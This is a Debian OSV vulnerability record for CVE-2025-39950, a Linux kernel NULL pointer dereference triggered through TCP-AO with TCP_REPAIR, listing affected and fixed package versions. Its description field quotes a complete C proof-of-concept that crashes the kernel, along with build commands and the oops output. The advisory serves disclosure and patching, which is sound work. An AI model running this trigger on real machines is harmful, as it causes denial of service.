{"id":"DEBIAN-CVE-2025-39950","details":"In the Linux kernel, the following vulnerability has been resolved:  net/tcp: Fix a NULL pointer dereference when using TCP-AO with TCP_REPAIR  A NULL pointer dereference can occur in tcp_ao_finish_connect() during a connect() system call on a socket with a TCP-AO key added and TCP_REPAIR enabled.  The function is called with skb being NULL and attempts to dereference it on tcp_hdr(skb)-\u003eseq without a prior skb validation.  Fix this by checking if skb is NULL before dereferencing it.  The commentary is taken from bpf_skops_established(), which is also called in the same flow. Unlike the function being patched, bpf_skops_established() validates the skb before dereferencing it.  int main(void){ \tstruct sockaddr_in sockaddr; \tstruct tcp_ao_add tcp_ao; \tint sk; \tint one = 1;  \tmemset(&sockaddr,'\\0',sizeof(sockaddr)); \tmemset(&tcp_ao,'\\0',sizeof(tcp_ao));  \tsk = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);  \tsockaddr.sin_family = AF_INET;  \tmemcpy(tcp_ao.alg_name,\"cmac(aes128)\",12); \tmemcpy(tcp_ao.key,\"ABCDEFGHABCDEFGH\",16); \ttcp_ao.keylen = 16;  \tmemcpy(&tcp_ao.addr,&sockaddr,sizeof(sockaddr));  \tsetsockopt(sk, IPPROTO_TCP, TCP_AO_ADD_KEY, &tcp_ao, \tsizeof(tcp_ao)); \tsetsockopt(sk, IPPROTO_TCP, TCP_REPAIR, &one, sizeof(one));  \tsockaddr.sin_family = AF_INET; \tsockaddr.sin_port = htobe16(123);  \tinet_aton(\"127.0.0.1\", &sockaddr.sin_addr);  \tconnect(sk,(struct sockaddr *)&sockaddr,sizeof(sockaddr));  return 0; }  $ gcc tcp-ao-nullptr.c -o tcp-ao-nullptr -Wall $ unshare -Urn  BUG: kernel NULL pointer dereference, address: 00000000000000b6 PGD 1f648d067 P4D 1f648d067 PUD 1982e8067 PMD 0 Oops: Oops: 0000 [#1] SMP NOPTI Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform, BIOS 6.00 11/12/2020 RIP: 0010:tcp_ao_finish_connect (net/ipv4/tcp_ao.c:1182)","modified":"2026-08-27T23:05:22.848061178Z","published":"2025-10-04T08:15:48.253Z","upstream":["CVE-2025-39950"],"references":[{"type":"ADVISORY","url":"https://security-tracker.debian.org/tracker/CVE-2025-39950"}],"affected":[{"package":{"name":"linux","ecosystem":"Debian:13","purl":"pkg:deb/debian/linux?arch=source&distro=trixie"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.12.57-1"}]}],"versions":["6.12.38-1","6.12.41-1","6.12.43-1","6.12.43-1~bpo12+1","6.12.48-1","6.12.57-1~bpo12+1"],"ecosystem_specific":{"urgency":"not yet assigned"},"database_specific":{"source":"https://storage.googleapis.com/osv-test-debian-osv/debian-cve-osv/DEBIAN-CVE-2025-39950.json"}},{"package":{"name":"linux","ecosystem":"Debian:14","purl":"pkg:deb/debian/linux?arch=source&distro=forky"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.16.9-1"}]}],"versions":["6.12.100-1","6.12.101-1","6.12.105-1","6.12.38-1","6.12.41-1","6.12.43-1","6.12.43-1~bpo12+1","6.12.48-1","6.12.57-1","6.12.57-1~bpo12+1","6.12.63-1","6.12.63-1~bpo12+1","6.12.69-1","6.12.69-1~bpo12+1","6.12.73-1","6.12.73-1~bpo12+1","6.12.74-1","6.12.74-2","6.12.74-2~bpo12+1","6.12.85-1","6.12.85-1~bpo12+1","6.12.86-1","6.12.86-1~bpo12+1","6.12.88-1","6.12.88-1~bpo12+1","6.12.90-1","6.12.90-1~bpo12+1","6.12.90-2","6.12.90-2~bpo12+1","6.12.94-1","6.12.94-1~bpo12+1","6.12.95-1","6.12.95-1~bpo12+1","6.12.96-1","6.13.10-1~exp1","6.13.11-1~exp1","6.13.2-1~exp1","6.13.3-1~exp1","6.13.4-1~exp1","6.13.5-1~exp1","6.13.6-1~exp1","6.13.7-1~exp1","6.13.8-1~exp1","6.13.9-1~exp1","6.13~rc6-1~exp1","6.13~rc7-1~exp1","6.14.3-1~exp1","6.14.5-1~exp1","6.14.6-1~exp1","6.15-1~exp1","6.15.1-1~exp1","6.15.2-1~exp1","6.15.3-1~exp1","6.15.4-1~exp1","6.15.5-1~exp1","6.15.6-1~exp1","6.15~rc7-1~exp1","6.16-1~exp1","6.16.1-1~exp1","6.16.3-1","6.16.3-1~bpo13+1","6.16.5-1","6.16.6-1","6.16.7-1","6.16.8-1","6.16~rc7-1~exp1"],"ecosystem_specific":{"urgency":"not yet assigned"},"database_specific":{"source":"https://storage.googleapis.com/osv-test-debian-osv/debian-cve-osv/DEBIAN-CVE-2025-39950.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H"}]}